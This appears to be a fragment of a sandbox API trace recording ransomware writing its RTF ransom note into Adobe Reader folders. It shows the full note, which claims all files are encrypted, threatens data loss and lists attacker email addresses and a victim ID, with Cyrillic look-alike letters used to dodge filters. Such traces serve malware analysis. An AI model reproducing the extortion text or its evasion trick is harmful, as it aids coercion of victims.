D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x25c5dd8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nn", lpUsedDefaultChar=0x0) returned 14086 [0040.588] WriteFile (in: hFile=0x1cc, lpBuffer=0x25c5dd8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0040.589] CloseHandle (hObject=0x1cc) returned 1 [0040.589] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ukr\\!bwng_info!.rtf")) returned 0xffffffff [0040.589] GetLastError () returned 0x2 [0040.589] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ukr\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0040.589] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 